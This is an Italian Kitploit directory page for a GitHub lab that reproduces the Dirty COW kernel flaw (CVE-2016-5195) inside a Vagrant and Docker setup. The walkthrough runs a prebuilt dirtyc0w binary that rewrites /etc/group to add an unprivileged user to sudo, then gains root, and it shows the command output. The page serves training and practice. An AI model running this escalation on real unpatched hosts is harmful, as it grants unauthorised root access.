Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/zakariamaaraki/dirty-cow-cve-2016-5195-
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitApprendimento e FormazioneEscape dal ContainerLab e Pratica
GitHubzakariamaaraki/dirty-cow-cve-2016-5195-

Dirty-COW-CVE-2016-5195-

Sfrutta la vulnerabilità DirtyCow per accedere come root

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
25 anni faNon ancora revisionato

Dirtyc0w Docker POC

Prerequisiti:

  • Vagrant installato

Come usarlo

Innanzitutto clona il progetto git clone https://github.com/BrolyCode/Dirty-Cow.git Entra nella cartella cd Dirty-Cow Poi avvia l'ambiente con il comando

root@kitploit:~
vagrant up

Una volta che il server è stato creato, ci collegheremo via ssh

root@kitploit:~
vagrant ssh

passa all'utente root

root@kitploit:~
sudo -i

Ora possiamo accedere come hacker

root@kitploit:~
docker exec -it -u hacker nginx bash

Nella directory in cui siamo collegati abbiamo i seguenti file

root@kitploit:~
drwxrwxrwt  2 root root  4096 Nov  26 11:10 .
drwxr-xr-x 41 root root  4096 Nov  26 11:10 ..
-rwxr-xr-x  1 root root  9880 Nov  26 04:52 dirtyc0w
-rwxrwxrwx  1 root root  9880 Nov  26 04:52 dirtyc0w.c

Se facciamo cat del file /etc/group vediamo

root@kitploit:~
hacker@27862a2f9973:~$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:
....

Possiamo provare ad accedere come root

root@kitploit:~
sudo -i

Ma il sistema lo rifiuterà, perché non abbiamo il diritto di accesso. Ora sfrutteremo il difetto su /etc/group

root@kitploit:~
./dirtyc0w 

Stamperà quanto segue sul terminale, dobbiamo aspettare un po' di tempo (2/3 minuti).

root@kitploit:~
mmap 7fd0facf4000

madvise 0

procselfmem 1500000000

Poi faremo di nuovo cat di /etc/group

root@kitploit:~
hacker@27862a2f9973:~$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:hacker
...

Accedi come root

root@kitploit:~
sudo -i

root@27862a2f9973:~#

Pulizia

Esci e torna al terminale della tua macchina host ed esegui vagrant destroy

Scarica lo strumento